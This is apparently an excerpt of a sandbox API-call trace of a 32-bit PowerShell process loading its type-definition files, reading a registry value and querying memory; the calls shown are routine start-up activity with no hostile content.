	[0082.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xee654, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40
	[0082.889] GetLastError () returned 0x0
	[0082.889] SetErrorMode (uMode=0x1) returned 0x1
	[0082.889] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2a71c4c | out: lpFileInformation=0x2a71c4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1
	[0082.890] GetLastError () returned 0x0
	[0082.890] SetErrorMode (uMode=0x1) returned 0x1
	[0082.891] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xee620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40
	[0082.891] GetLastError () returned 0x0
	[0082.891] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea78 | out: phkResult=0xeea78*=0x33c) returned 0x0
	[0082.892] RegQueryValueExW (in: hKey=0x33c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xeeac0, lpData=0x0, lpcbData=0xeeabc*=0x0 | out: lpType=0xeeac0*=0x1, lpData=0x0, lpcbData=0xeeabc*=0x56) returned 0x0
	[0082.892] RegQueryValueExW (in: hKey=0x33c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xeeac0, lpData=0x617f50, lpcbData=0xeeabc*=0x56 | out: lpType=0xeeac0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xeeabc*=0x56) returned 0x0
	[0082.892] RegCloseKey (hKey=0x33c) returned 0x0
	[0082.893] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xee620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40
	[0082.893] GetLastError () returned 0x0
	[0082.893] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xee5b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40
	[0082.893] GetLastError () returned 0x0
	[0083.009] GetSystemInfo (in: lpSystemInfo=0xee1f8 | out: lpSystemInfo=0xee1f8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) 
	[0083.011] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.064] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0xee58c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
	[0083.064] GetLastError () returned 0x0
	[0083.064] SetErrorMode (uMode=0x1) returned 0x1
	[0083.064] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x33c
	[0083.064] GetLastError () returned 0x0
	[0083.064] GetFileType (hFile=0x33c) returned 0x1
	[0083.064] SetErrorMode (uMode=0x1) returned 0x1
	[0083.064] GetFileType (hFile=0x33c) returned 0x1
	[0083.064] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.071] GetLastError () returned 0x0
	[0083.072] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.076] GetLastError () returned 0x0
	[0083.076] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.076] GetLastError () returned 0x0
	[0083.077] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.077] GetLastError () returned 0x0
	[0083.077] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.077] GetLastError () returned 0x0
	[0083.077] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.078] GetLastError () returned 0x0
	[0083.078] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.078] GetLastError () returned 0x0
	[0083.078] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.078] GetLastError () returned 0x0
	[0083.078] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.078] GetLastError () returned 0x0
	[0083.079] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.079] GetLastError () returned 0x0
	[0083.079] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.079] GetLastError () returned 0x0
	[0083.079] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.079] GetLastError () returned 0x0
	[0083.079] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.079] GetLastError () returned 0x0
	[0083.080] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.080] GetLastError () returned 0x0
	[0083.080] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.080] GetLastError () returned 0x0
	[0083.080] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.080] GetLastError () returned 0x0
	[0083.080] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.080] GetLastError () returned 0x0
	[0083.082] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.082] GetLastError () returned 0x0
	[0083.082] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.082] GetLastError () returned 0x0
	[0083.082] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.082] GetLastError () returned 0x0
	[0083.082] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.082] GetLastError () returned 0x0
	[0083.083] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.083] GetLastError () returned 0x0
	[0083.083] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.083] GetLastError () returned 0x0
	[0083.083] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.083] GetLastError () returned 0x0
	[0083.083] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.083] GetLastError () returned 0x0
	[0083.083] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.083] GetLastError () returned 0x0
	[0083.084] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.084] GetLastError () returned 0x0
	[0083.084] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.084] GetLastError () returned 0x0
	[0083.084] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.084] GetLastError () returned 0x0
	[0083.084] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.084] GetLastError () returned 0x0
	[0083.084] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.084] GetLastError () returned 0x0
	[0083.085] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.085] GetLastError () returned 0x0
	[0083.085] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.085] GetLastError () returned 0x0
	[0083.088] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.088] GetLastError () returned 0x0
	[0083.088] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.088] GetLastError () returned 0x0
	[0083.088] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.088] GetLastError () returned 0x0
	[0083.089] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.089] GetLastError () returned 0x0
	[0083.089] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.089] GetLastError () returned 0x0
	[0083.089] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.089] GetLastError () returned 0x0
	[0083.089] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.089] GetLastError () returned 0x0
	[0083.089] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.089] GetLastError () returned 0x0
	[0083.090] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x1b4, lpOverlapped=0x0) returned 1
	[0083.090] GetLastError () returned 0x0
	[0083.090] ReadFile (in: hFile=0x33c, lpBuffer=0x2aa6068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2aa6068*, lpNumberOfBytesRead=0xeeaf4*=0x0, lpOverlapped=0x0) returned 1
	[0083.090] GetLastError () returned 0x0
	[0083.090] CloseHandle (hObject=0x33c) returned 1
	[0083.090] GetLastError () returned 0x0
	[0083.090] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0xee654, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
	[0083.090] GetLastError () returned 0x0
	[0083.090] SetErrorMode (uMode=0x1) returned 0x1
	[0083.090] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ac68f8 | out: lpFileInformation=0x2ac68f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1
	[0083.090] GetLastError () returned 0x0
	[0083.090] SetErrorMode (uMode=0x1) returned 0x1
	[0083.091] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0xee620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
	[0083.091] GetLastError () returned 0x0
	[0083.091] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea78 | out: phkResult=0xeea78*=0x33c) returned 0x0
	[0083.091] RegQueryValueExW (in: hKey=0x33c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xeeac0, lpData=0x0, lpcbData=0xeeabc*=0x0 | out: lpType=0xeeac0*=0x1, lpData=0x0, lpcbData=0xeeabc*=0x56) returned 0x0
	[0083.091] RegQueryValueExW (in: hKey=0x33c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xeeac0, lpData=0x617f50, lpcbData=0xeeabc*=0x56 | out: lpType=0xeeac0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xeeabc*=0x56) returned 0x0
	[0083.091] RegCloseKey (hKey=0x33c) returned 0x0
	[0083.091] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0xee620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
	[0083.091] GetLastError () returned 0x0
	[0083.091] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0xee5b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
	[0083.091] GetLastError () returned 0x0
	[0083.364] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.404] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.405] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.405] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.405] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.405] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.406] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.408] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.414] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.414] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.414] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.414] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.415] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.415] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.415] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.415] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.418] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.422] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.422] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.423] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
